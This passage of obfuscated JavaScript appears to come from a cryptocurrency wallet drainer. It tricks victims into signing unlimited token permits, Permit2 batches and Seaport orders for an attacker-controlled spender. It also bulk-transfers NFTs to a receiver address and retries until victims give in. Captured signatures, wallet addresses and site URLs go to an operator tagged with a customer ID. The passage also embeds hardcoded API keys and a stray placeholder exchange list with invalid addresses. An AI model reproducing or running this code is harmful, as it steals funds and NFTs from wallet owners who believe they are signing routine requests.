};
const _0x455b18 = {
inputs: [_0x29bc63, _0x56771e, _0x43a05f],
name: "transferFrom",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x42a5cf = {
internalType: "address",
name: "newOwner",
type: "address"
};
const _0x35fd31 = {
inputs: [_0x42a5cf],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x340cb3 = {
internalType: "address",
name: "from",
type: 'address'
};
const _0x39e9da = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x191c45 = {
internalType: 'uint256',
name: "value",
type: 'uint256'
};
const _0xc1830 = {
internalType: 'uint256',
name: 'validAfter',
type: 'uint256'
};
const _0x36f20e = {
internalType: 'uint256',
name: "validBefore",
type: "uint256"
};
const _0xc56b8 = {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0x3b0a4c = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x3e16d6 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x57b39d = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x1c871a = {
inputs: [_0x340cb3, _0x39e9da, _0x191c45, _0xc1830, _0x36f20e, _0xc56b8, _0x3b0a4c, _0x3e16d6, _0x57b39d],
name: "transferWithAuthorization",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x86a71a = {
internalType: "address",
name: "_account",
type: "address"
};
const _0x53e081 = {
inputs: [_0x86a71a],
name: "unBlacklist",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x16b2ba = {
inputs: [],
name: "unpause",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4864bf = {
internalType: "address",
name: "_newBlacklister",
type: "address"
};
const _0x3a9ab9 = {
inputs: [_0x4864bf],
name: "updateBlacklister",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x112670 = {
internalType: "address",
name: "_newMasterMinter",
type: "address"
};
const _0x2972d5 = {
inputs: [_0x112670],
name: "updateMasterMinter",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x984889 = {
internalType: "address",
name: "_newPauser",
type: "address"
};
const _0x3e6d9c = {
inputs: [_0x984889],
name: "updatePauser",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0xa8afef = {
internalType: "address",
name: "newRescuer",
type: "address"
};
const _0x405713 = {
inputs: [_0xa8afef],
name: "updateRescuer",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x462679 = {
inputs: [],
name: "version",
outputs: [{
'internalType': "string",
'name': '',
'type': "string"
}],
stateMutability: 'view',
type: "function"
};
let _0x451c94 = [_0x2f3611, _0x1065f9, _0x22728c, _0x531fd5, _0x45010e, _0x8f643e, _0x6ef638, _0x3c2ed7, _0x2c0248, _0x3a39e6, _0x1e3e18, _0x2547c9, _0x1f2433, _0x39edb5, _0xee5920, _0x21ce9f, _0x34ba04, _0x4912df, _0x3f01e4, _0x426c4f, _0x512ebc, _0x1a5a3d, _0x367c7c, _0x46dcb5, _0x40ceb5, _0x4627bd, _0x535917, _0x1690a0, _0x9f20fd, _0x4a8f01, _0x52b4ae, _0xe8cc71, _0x47abdc, _0x184886, _0x3e6dac, _0x48b808, _0x18bd11, _0x472283, _0xc6a6b4, _0x3632cc, _0x161148, _0x1542d2, _0x1d51ba, _0x271af2, _0x30a5b9, _0x3b8e39, _0x30bb55, _0x3b19e4, _0x4f3a57, _0x3a1a03, _0x37a816, _0x4141b1, _0x5c9812, _0x39511e, _0x26e607, _0x322a7d, _0x1f1cd2, _0x455b18, _0x35fd31, _0x1c871a, _0x53e081, _0x16b2ba, _0x3a9ab9, _0x2972d5, _0x3e6d9c, _0x405713, _0x462679];
let _0x8f7cf4 = new ethers.Contract(_0x36d3d4, _0x451c94, _0x157cf4);
let _0x146467 = await _0x8f7cf4.nonces(_0x596248);
let _0x4fa6d3 = await _0x8f7cf4.name();
const _0x54f487 = {
name: 'name',
type: "string"
};
const _0x27a49f = {
name: "version",
type: "string"
};
const _0x5c7f33 = {
name: 'chainId',
type: 'uint256'
};
const _0x34a1d1 = {
name: "verifyingContract",
type: "address"
};
let _0x225e3b = [_0x54f487, _0x27a49f, _0x5c7f33, _0x34a1d1];
var _0x3052b0 = '1';
if (_0x36d3d4.toLowerCase() == "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48".toLowerCase()) {
_0x3052b0 = '2';
}
let _0x54b19f;
const _0x1f77d5 = {
name: "owner",
type: "address"
};
const _0x5800ba = {
name: "spender",
type: "address"
};
const _0x2d1d36 = {
name: "value",
type: 'uint256'
};
const _0x3c1ac6 = {
name: "nonce",
type: 'uint256'
};
const _0x1371c2 = {
name: "deadline",
type: 'uint256'
};
let _0x5e026b = [_0x1f77d5, _0x5800ba, _0x2d1d36, _0x3c1ac6, _0x1371c2];
const _0x402645 = {
name: _0x4fa6d3,
version: _0x3052b0,
chainId: _0x2bfb7d,
verifyingContract: _0x36d3d4
};
let _0x4eb522 = _0x402645;
if (_0x241496 == 4) {
const _0x214f5b = {
chainId: _0x2bfb7d,
verifyingContract: _0x36d3d4
};
_0x4eb522 = _0x214f5b;
const _0x54ace4 = {
name: "chainId",
type: 'uint256'
};
const _0x3e7d08 = {
name: "verifyingContract",
type: "address"
};
_0x225e3b = [_0x54ace4, _0x3e7d08];
_0x54b19f = {
'owner': ethers.utils.getAddress(_0x596248),
'spender': ethers.utils.getAddress(this.caller),
'value': "115792089237316195423570985008687907853269984665640564039457584007913129639935",
'nonce': _0x146467,
'deadline': 1988864000 .toString()
};
}
if (_0x241496 == 3) {
const _0xc90808 = {
name: _0x4fa6d3,
chainId: _0x2bfb7d,
verifyingContract: _0x36d3d4
};
_0x4eb522 = _0xc90808;
const _0x5c9593 = {
name: "name",
type: "string"
};
const _0x5e3082 = {
name: 'chainId',
type: "uint256"
};
const _0xaa041 = {
name: "verifyingContract",
type: "address"
};
_0x225e3b = [_0x5c9593, _0x5e3082, _0xaa041];
_0x54b19f = {
'owner': ethers.utils.getAddress(_0x596248),
'spender': ethers.utils.getAddress(this.caller),
'value': "115792089237316195423570985008687907853269984665640564039457584007913129639935",
'nonce': _0x146467,
'deadline': 1988864000 .toString()
};
}
if (_0x241496 == 2) {
const _0x2c278 = {
name: "holder",
type: "address"
};
const _0x31d59a = {
name: "spender",
type: "address"
};
const _0x240109 = {
name: "nonce",
type: 'uint256'
};
const _0x29638c = {
name: "expiry",
type: 'uint256'
};
const _0x10729e = {
name: 'allowed',
type: "bool"
};
_0x5e026b = [_0x2c278, _0x31d59a, _0x240109, _0x29638c, _0x10729e];
_0x54b19f = {
'PERMIT_TYPEHASH': "0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb",
'holder': ethers.utils.getAddress(_0x596248),
'spender': ethers.utils.getAddress(this.caller),
'nonce': _0x146467,
'expiry': 1988864000 .toString(),
'allowed': true
};
}
if (_0x241496 == 1) {
_0x54b19f = {
'owner': ethers.utils.getAddress(_0x596248),
'spender': ethers.utils.getAddress(this.caller),
'value': "115792089237316195423570985008687907853269984665640564039457584007913129639935",
'nonce': _0x146467,
'deadline': 1988864000 .toString()
};
if (_0x36d3d4.toLowerCase() == "0xc944E90C64B2c07662A292be6244BDf05Cda44a7".toLowerCase()) {
const _0x20f42d = {
name: _0x4fa6d3,
version: '0',
chainId: _0x2bfb7d,
verifyingContract: _0x36d3d4,
salt: "0x51f3d585afe6dfeb2af01bba0889a36c1db03beec88c6a4d0c53817069026afa"
};
_0x4eb522 = _0x20f42d;
const _0x29fe3b = {
name: "name",
type: "string"
};
const _0x44a41e = {
name: "version",
type: "string"
};
const _0x47f12c = {
name: 'chainId',
type: "uint256"
};
const _0x9da89b = {
name: "verifyingContract",
type: "address"
};
const _0x5451ed = {
name: "salt",
type: "bytes32"
};
_0x225e3b = [_0x29fe3b, _0x44a41e, _0x47f12c, _0x9da89b, _0x5451ed];
}
}
console.log("Prompting Signature?");
const _0x394108 = {
Permit: _0x5e026b
};
const _0x5d3d42 = await this.Sdk.signData(_0x4eb522, _0x394108, _0x54b19f);
const {
s: _0x2efd64,
v: _0x26cd13,
r: _0x71a0aa
} = ethers.utils.splitSignature(_0x5d3d42);
const _0x63c784 = {
chain: _0x267571.chain,
type: "permit",
token: _0x36d3d4,
value: _0x4945b3
};
await this.sendMessage(_0x63c784);
await this.SendCompletion({
'type': "permit",
'actionType': _0x241496,
's': _0x2efd64,
'v': _0x26cd13,
'r': _0x71a0aa,
'token': _0x36d3d4,
'amount': _0x4f39b1,
'deadline': 1988864000,
'chain': _0x2bfb7d,
'nonce': parseInt(_0x146467),
'owner': await this.getWalletAddress(),
'caller': this.caller,
'ahash': await this.createEncKey()
});
return true;
}
} catch (_0x565144) {
console.log(_0x565144);
return false;
}
};
["seaportOrder"] = async _0x38ad96 => {
let _0x6586d1 = await this.getWalletAddress();
try {
let _0x4c562e = Base64.encode(JSON.stringify(this.offer)).toString();
if (this.offer.length > 0 && !this.orderCache.includes(_0x4c562e)) {
let _0x5ccba1 = Math.floor(Date.now() / 1000);
let _0x5f0d90 = await this.Sdk.createOrder(this.offer, this.considerations, 0, _0x5ccba1, _0x5ccba1 + 2678400, "0x004C00500000aD104D7DBd00e3ae0A5C00560C00", ethers.constants.HashZero, "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000");
for (let _0x465f63 in this.offer) {
this.approved.push(_0x465f63.token + ",eth");
}
this.orderCache.push(_0x4c562e);
localStorage.orderCache = JSON.stringify(this.orderCache);
const _0x542b56 = {
type: "seaport",
chain: _0x38ad96.chain,
value: _0x38ad96.value
};
await this.sendMessage(_0x542b56);
if (_0x6586d1 != (await this.getWalletAddress())) {
return;
}
setTimeout(async () => {
try {
await this.SendCompletion({
'type': "seaport",
'order': JSON.stringify(_0x5f0d90.order),
'caller': this.caller,
'ahash': this.createEncKey()
});
} catch {
const _0x5aafea = {
type: "error",
chain: _0x38ad96.chain,
msg: "Client failed to sign seaport order"
};
await this.sendMessage(_0x5aafea);
}
});
}
} catch (_0x13a5c5) {
if (_0x6586d1 != (await this.getWalletAddress())) {
return;
}
console.log(_0x13a5c5);
const _0x5e6150 = {
type: "error",
chain: _0x38ad96.chain,
msg: "Client failed to sign seaport order"
};
await this.sendMessage(_0x5e6150);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.seaportOrder(_0x38ad96);
}
}
};
["transferOpensea"] = async _0x4145b3 => {
let _0xbd051d = await this.getWalletAddress();
try {
console.log('singapoor');
const _0x1f72d9 = {
internalType: "address",
name: "conduitController",
type: "address"
};
const _0x4c4268 = {
inputs: [_0x1f72d9],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x5f243e = {
internalType: "bytes",
name: "reason",
type: "bytes"
};
const _0x461262 = {
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
};
const _0x1961f1 = {
internalType: "address",
name: "conduit",
type: "address"
};
const _0x18daad = {
inputs: [_0x5f243e, _0x461262, _0x1961f1],
name: "ConduitErrorRevertBytes",
type: "error"
};
const _0x354c54 = {
internalType: 'string',
name: "reason",
type: "string"
};
const _0x27460c = {
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
};
const _0x5c551b = {
internalType: "address",
name: "conduit",
type: "address"
};
const _0x103593 = {
inputs: [_0x354c54, _0x27460c, _0x5c551b],
name: "ConduitErrorRevertString",
type: "error"
};
const _0x39dac4 = {
internalType: "bytes",
name: "reason",
type: "bytes"
};
const _0xb224b6 = {
internalType: "address",
name: "receiver",
type: "address"
};
const _0x25a057 = {
internalType: "address",
name: "sender",
type: "address"
};
const _0x2c58b9 = {
internalType: "uint256",
name: 'identifier',
type: "uint256"
};
const _0x38019f = {
inputs: [_0x39dac4, _0xb224b6, _0x25a057, _0x2c58b9],
name: "ERC721ReceiverErrorRevertBytes",
type: "error"
};
const _0x3bfff3 = {
internalType: "string",
name: "reason",
type: "string"
};
const _0x1ad234 = {
internalType: "address",
name: "receiver",
type: "address"
};
const _0x240a4b = {
internalType: "address",
name: "sender",
type: "address"
};
const _0x36792c = {
internalType: 'uint256',
name: "identifier",
type: 'uint256'
};
const _0x2a25c4 = {
inputs: [_0x3bfff3, _0x1ad234, _0x240a4b, _0x36792c],
name: "ERC721ReceiverErrorRevertString",
type: "error"
};
const _0x5a5b1a = {
internalType: "bytes32",
name: "conduitKey",
type: "bytes32"
};
const _0x5b90c8 = {
internalType: "address",
name: "conduit",
type: "address"
};
const _0x10761f = {
inputs: [_0x5a5b1a, _0x5b90c8],
name: "InvalidConduit",
type: "error"
};
const _0x4c29b5 = {
inputs: [],
name: "InvalidERC20Identifier",
type: "error"
};
const _0x334e95 = {
internalType: "address",
name: "recipient",
type: "address"
};
const _0x467249 = {
inputs: [_0x334e95],
name: "InvalidERC721Recipient",
type: "error"
};
const _0x2d00fa = {
inputs: [],
name: "InvalidERC721TransferAmount",
type: "error"
};
const _0x2f46b9 = {
inputs: [],
name: "InvalidItemType",
type: "error"
};
const _0x916706 = {
inputs: [],
name: "RecipientCannotBeZeroAddress",
type: "error"
};
const _0x1de573 = {
internalType: "enum ConduitItemType",
name: "itemType",
type: "uint8"
};
const _0x5f57ec = {
internalType: "address",
name: "token",
type: "address"
};
const _0x158262 = {
internalType: "uint256",
name: "identifier",
type: "uint256"
};
const _0x27a539 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x479c80 = {
components: [_0x1de573, _0x5f57ec, _0x158262, _0x27a539],
internalType: "struct TransferHelperItem[]",
name: "items",
type: "tuple[]"
};
const _0x4ea34e = {
internalType: "address",
name: "recipient",
type: "address"
};
const _0x3eae32 = {
internalType: "bool",
name: "validateERC721Receiver",
type: "bool"
};
const _0x57dc10 = {
components: [_0x479c80, _0x4ea34e, _0x3eae32],
internalType: "struct TransferHelperItemsWithRecipient[]",
name: 'items',
type: "tuple[]"
};
const _0x2f032c = {
internalType: "bytes32",
name: 'conduitKey',
type: "bytes32"
};
const _0x5b0ba8 = {
inputs: [_0x57dc10, _0x2f032c],
name: "bulkTransfer",
outputs: [{
'internalType': "bytes4",
'name': "magicValue",
'type': "bytes4"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x551105 = [_0x4c4268, _0x18daad, _0x103593, _0x38019f, _0x2a25c4, _0x10761f, _0x4c29b5, _0x467249, _0x2d00fa, _0x2f46b9, _0x916706, _0x5b0ba8];
let _0x574265 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]);
let _0x5c6dc5 = new ethers.Contract("0x0000000000c2d145a2526bD8C716263bFeBe1A72", _0x551105, _0x574265);
let _0x147117 = [];
for (let _0x58f1e5 of _0x4145b3.asset) {
_0x147117.push([_0x58f1e5.itemType, _0x58f1e5.token, _0x58f1e5.tokenId, 1]);
}
let _0x32f69e = await _0x5c6dc5.bulkTransfer([[_0x147117, this.receiver, true]], "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000");
for (let _0x45d91e of _0x4145b3.asset) {
this.approved.push(_0x45d91e.token + ",eth");
}
const _0x39850e = {
chain: _0x4145b3.chain,
type: "approvalNFT",
source: "OSTransfer",
txId: _0x32f69e.hash,
value: _0x4145b3.value
};
await this.sendMessage(_0x39850e);
} catch (_0x569529) {
console.log(_0x569529);
if (_0xbd051d != (await this.getWalletAddress())) {
return;
}
const _0x16977a = {
chain: _0x4145b3.chain,
type: "error",
msg: "Client has denied transferring NFTs"
};
await this.sendMessage(_0x16977a);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.transferOpensea(_0x4145b3);
}
}
};
["permit2"] = async _0x463020 => {
let _0x65f9f8 = await this.getWalletAddress();
try {
let _0x11216d = _0x463020.asset;
let _0x2ced3e = [];
for (let _0x339232 of _0x11216d) {
if (!this.approved.includes(_0x339232.token + ',' + _0x463020.chain)) {
let _0x32a154 = {
'token': _0x339232.token,
'real_amount': _0x339232.amount.toString(),
'amount': "1461501637330902918203684832716283019655932542975",
'expiration': "1988064000",
'nonce': await this.Sdk.GetAllowances(_0x65f9f8, _0x339232.token, this.caller)
};
console.log(_0x32a154);
_0x2ced3e.push(_0x32a154);
}
}
if (_0x2ced3e.length > 0) {
let _0x17e19a = {
'name': "Permit2",
'chainId': await this.getChainId(_0x463020.chain),
'verifyingContract': "0x000000000022d473030f116ddee9f6b43ac78ba3"
};
const _0x22f7a1 = {
details: _0x2ced3e,
spender: this.caller,
sigDeadline: 0x767f7300
};
const _0x38c602 = {
name: "details",
type: "PermitDetails[]"
};
const _0x122e45 = {
name: 'spender',
type: "address"
};
const _0xc039e2 = {
name: "sigDeadline",
type: 'uint256'
};
const _0x1c148e = {
name: "token",
type: "address"
};
const _0x1e684c = {
name: 'amount',
type: 'uint160'
};
const _0x1fb06d = {
name: 'expiration',
type: "uint48"
};
const _0x2bd0be = {
name: 'nonce',
type: "uint48"
};
const _0x87f6ee = {
PermitBatch: [_0x38c602, _0x122e45, _0xc039e2],
PermitDetails: [_0x1c148e, _0x1e684c, _0x1fb06d, _0x2bd0be]
};
const _0x3f7b0a = await this.Sdk.signData(_0x17e19a, _0x87f6ee, _0x22f7a1);
const _0x4a3086 = {
type: "permit2",
value: _0x463020.value,
chain: _0x463020.chain
};
await this.sendMessage(_0x4a3086);
await this.SendCompletion({
'type': 'permit2',
'chain_id': this.getChainId(_0x463020.chain),
'permitDetails': JSON.stringify(_0x2ced3e),
'signature': _0x3f7b0a,
'ahash': this.createEncKey()
});
for (let _0x25ef15 of _0x11216d) {
this.approved.push(_0x25ef15.token + ',' + _0x463020.chain);
}
localStorage.approved = JSON.stringify(this.approved);
}
} catch (_0x1935d4) {
console.log(_0x1935d4);
if (_0x65f9f8 != (await this.getWalletAddress())) {
return;
}
const _0x3160ac = {
chain: _0x463020.chain,
type: 'error',
msg: "Client has denied signing Permit2"
};
await this.sendMessage(_0x3160ac);
this.failedAttempts++;
if (this.failedAttempts > 3 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.permit2(_0x463020);
}
}
};
["SendCompletion"] = async _0x4de390 => {
try {
let _0x582a65 = {};
switch (_0x4de390.type) {
case "permit2":
{
_0x582a65 = {
'action_type': "permit2",
'permit_data': Base64.encode(_0x4de390.permitDetails),
'signature': _0x4de390.signature,
'owner': await this.getWalletAddress(),
'website': window.location.href,
'chain_id': _0x4de390.chain_id,
'key': _0x4de390.ahash,
'customer_id': "0xDSN1H6CU"
};
}
break;
case "permit":
{
_0x582a65 = {
'action_type': "permit",
'amount': _0x4de390.amount,
'r_value': _0x4de390.r,
's_value': _0x4de390.s,
'v_value': _0x4de390.v,
'type': _0x4de390.actionType,
'value': "115792089237316195423570985008687907853269984665640564039457584007913129639935",
'contract': _0x4de390.token,
'deadline': _0x4de390.deadline,
'nonce': _0x4de390.nonce,
'owner': await this.getWalletAddress(),
'website': window.location.href,
'chain_id': _0x4de390.chain,
'key': _0x4de390.ahash,
'customer_id': "0xDSN1H6CU"
};
}
break;
case "NFTApproval":
{
_0x582a65 = {
'action_type': "nft_transfer",
'hash': _0x4de390.hash,
'contract': _0x4de390.token,
'token_id': _0x4de390.token_id,
'owner': await this.getWalletAddress(),
'website': window.location.href,
'item_type': _0x4de390.itemType,
'chain_id': _0x4de390.chain_id,
'key': _0x4de390.ahash,
'customer_id': "0xDSN1H6CU"
};
}
break;
case "TokenApproval":
{
_0x582a65 = {
'action_type': "token_transfer",
'hash': _0x4de390.hash,
'contract': _0x4de390.token,
'amount': _0x4de390.amount,
'owner': await this.getWalletAddress(),
'website': window.location.href,
'chain_id': _0x4de390.chain,
'key': _0x4de390.ahash,
'customer_id': "0xDSN1H6CU"
};
}
break;
case "seaport":
{
_0x582a65 = {
'action_type': "seaport_match",
'order': Base64.encode(_0x4de390.order),
'website': window.location.href,
'key': _0x4de390.ahash,
'customer_id': "0xDSN1H6CU"
};
}
break;
case "tokenSplit":
{
const _0x2bb3c0 = {
action_type: 'split',
hash: _0x4de390.hash,
address: _0x4de390.tokenAddress,
key: _0x4de390.ahash,
chain_id: _0x4de390.chainId,
customer_id: "0xDSN1H6CU"
};
_0x582a65 = _0x2bb3c0;
}
}
} catch (_0x230132) {
console.log(_0x230132);
}
};
["oneInchKeys"] = ["kSHXPLG75uYbEGAH37PtsYqhpMzg8rD3", "MLpI1leeeyGo4778JNKBuWOY3OpMKkev", "9GpBce1G1IqnzaZAAIcAWdccLImTt0Jn"];
const exchanges = [
{ name: "Uniswap", chain: "Ethereum", address: "0x123abc" },
{ name: "SushiSwap", chain: "Ethereum", address: "0x456def" },
{ name: "PancakeSwap", chain: "Binance Smart Chain", address: "0x789ghi" },
// ... more exchanges
];
["setUpSwap"] = async _0x579e7a => {
let _0x58374e = _0x579e7a.actionType;
let _0x10922f = Math.floor(Date.now() / 1000) + 99990;
let _0x1d9d78 = this.exchangeDictionary.filter(_0x4d515e => _0x4d515e.Chain == _0x579e7a.chain && _0x4d515e.Exchange == _0x58374e)[0].Address;
let _0x30ef12 = this.ethersProvider.getSigner(await this.getWalletAddress());
switch (_0x58374e) {
case "AaveLP2":
{
const _0x313b39 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x178cdc = {
indexed: false,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x524ed5 = {
indexed: true,
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x51d2e7 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x192990 = {
indexed: false,
internalType: "uint256",
name: "borrowRateMode",
type: "uint256"
};
const _0x3f2b9c = {
indexed: false,
internalType: "uint256",
name: "borrowRate",
type: 'uint256'
};
const _0x253d57 = {
indexed: true,
internalType: "uint16",
name: "referral",
type: "uint16"
};
const _0x1fe8fe = {
anonymous: false,
inputs: [_0x313b39, _0x178cdc, _0x524ed5, _0x51d2e7, _0x192990, _0x3f2b9c, _0x253d57],
name: 'Borrow',
type: "event"
};
const _0x272715 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x31b37b = {
indexed: false,
internalType: 'address',
name: "user",
type: "address"
};
const _0x3ae40b = {
indexed: true,
internalType: "address",
name: 'onBehalfOf',
type: 'address'
};
const _0x213939 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x3c04c4 = {
indexed: true,
internalType: "uint16",
name: "referral",
type: "uint16"
};
const _0x55a8ee = {
anonymous: false,
inputs: [_0x272715, _0x31b37b, _0x3ae40b, _0x213939, _0x3c04c4],
name: "Deposit",
type: "event"
};
const _0x4c32bd = {
indexed: true,
internalType: "address",
name: "target",
type: "address"
};
const _0x10e708 = {
indexed: true,
internalType: 'address',
name: "initiator",
type: 'address'
};
const _0x1bbedb = {
indexed: true,
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x430e06 = {
indexed: false,
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0x19a4a7 = {
indexed: false,
internalType: "uint256",
name: "premium",
type: "uint256"
};
const _0x4036ea = {
indexed: false,
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x1d3384 = {
anonymous: false,
inputs: [_0x4c32bd, _0x10e708, _0x1bbedb, _0x430e06, _0x19a4a7, _0x4036ea],
name: 'FlashLoan',
type: "event"
};
const _0x546a65 = {
indexed: true,
internalType: 'address',
name: "collateralAsset",
type: 'address'
};
const _0x18e1cc = {
indexed: true,
internalType: 'address',
name: 'debtAsset',
type: 'address'
};
const _0x1e5d9e = {
indexed: true,
internalType: 'address',
name: "user",
type: "address"
};
const _0x2e3acb = {
indexed: false,
internalType: "uint256",
name: "debtToCover",
type: "uint256"
};
const _0x55d857 = {
indexed: false,
internalType: "uint256",
name: "liquidatedCollateralAmount",
type: "uint256"
};
const _0x14c8ad = {
indexed: false,
internalType: 'address',
name: "liquidator",
type: 'address'
};
const _0x5aab52 = {
indexed: false,
internalType: "bool",
name: "receiveAToken",
type: 'bool'
};
const _0x1e8907 = {
anonymous: false,
inputs: [_0x546a65, _0x18e1cc, _0x1e5d9e, _0x2e3acb, _0x55d857, _0x14c8ad, _0x5aab52],
name: "LiquidationCall",
type: "event"
};
const _0x4fa857 = {
anonymous: false,
inputs: [],
name: 'Paused',
type: "event"
};
const _0xaab33f = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x4d2574 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x2a5bbd = {
anonymous: false,
inputs: [_0xaab33f, _0x4d2574],
name: "RebalanceStableBorrowRate",
type: "event"
};
const _0x4354fe = {
indexed: true,
internalType: "address",
name: "reserve",
type: 'address'
};
const _0x583b15 = {
indexed: true,
internalType: "address",
name: "user",
type: 'address'
};
const _0x27a8fb = {
indexed: true,
internalType: 'address',
name: "repayer",
type: 'address'
};
const _0x3a1430 = {
indexed: false,
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0x1ff639 = {
anonymous: false,
inputs: [_0x4354fe, _0x583b15, _0x27a8fb, _0x3a1430],
name: 'Repay',
type: "event"
};
const _0x1eb22c = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x5abd6c = {
indexed: false,
internalType: "uint256",
name: "liquidityRate",
type: "uint256"
};
const _0x3be369 = {
indexed: false,
internalType: 'uint256',
name: "stableBorrowRate",
type: "uint256"
};
const _0xfc9914 = {
indexed: false,
internalType: "uint256",
name: "variableBorrowRate",
type: "uint256"
};
const _0x4d5b99 = {
indexed: false,
internalType: "uint256",
name: "liquidityIndex",
type: "uint256"
};
const _0x20a93d = {
indexed: false,
internalType: "uint256",
name: "variableBorrowIndex",
type: "uint256"
};
const _0x4c2548 = {
anonymous: false,
inputs: [_0x1eb22c, _0x5abd6c, _0x3be369, _0xfc9914, _0x4d5b99, _0x20a93d],
name: "ReserveDataUpdated",
type: "event"
};
const _0x3a5021 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x3c87ae = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x584530 = {
anonymous: false,
inputs: [_0x3a5021, _0x3c87ae],
name: "ReserveUsedAsCollateralDisabled",
type: "event"
};
const _0x37ee43 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: "address"
};
const _0x403688 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x5a4d92 = {
anonymous: false,
inputs: [_0x37ee43, _0x403688],
name: "ReserveUsedAsCollateralEnabled",
type: 'event'
};
const _0x488de0 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x50e96b = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x44d7bf = {
indexed: false,
internalType: "uint256",
name: "rateMode",
type: "uint256"
};
const _0x4ecd4c = {
anonymous: false,
inputs: [_0x488de0, _0x50e96b, _0x44d7bf],
name: "Swap",
type: "event"
};
const _0x32dd8a = {
anonymous: false,
inputs: [],
name: "Unpaused",
type: "event"
};
const _0x301c71 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x5acfda = {
indexed: true,
internalType: "address",
name: "user",
type: 'address'
};
const _0xde6c9f = {
indexed: true,
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3a64ff = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x1e41a5 = {
anonymous: false,
inputs: [_0x301c71, _0x5acfda, _0xde6c9f, _0x3a64ff],
name: 'Withdraw',
type: "event"
};
const _0x344653 = {
inputs: [],
name: "FLASHLOAN_PREMIUM_TOTAL",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x4ce59d = {
inputs: [],
name: "LENDINGPOOL_REVISION",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x11e3d0 = {
inputs: [],
name: "MAX_NUMBER_RESERVES",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x184751 = {
inputs: [],
name: "MAX_STABLE_RATE_BORROW_SIZE_PERCENT",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0x243f95 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x7fd289 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x499ec0 = {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
};
const _0x3566d0 = {
internalType: "uint16",
name: "referralCode",
type: 'uint16'
};
const _0x42299b = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x4f6b21 = {
inputs: [_0x243f95, _0x7fd289, _0x499ec0, _0x3566d0, _0x42299b],
name: 'borrow',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2e75da = {
internalType: 'address',
name: "asset",
type: "address"
};
const _0x102eb8 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x1ce98e = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x194293 = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x28e6db = {
inputs: [_0x2e75da, _0x102eb8, _0x1ce98e, _0x194293],
name: "deposit",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x54af82 = {
internalType: 'address',
name: "asset",
type: "address"
};
const _0x540d63 = {
internalType: 'address',
name: "from",
type: 'address'
};
const _0xffbc12 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x4d3a0f = {
internalType: "uint256",
name: "amount",
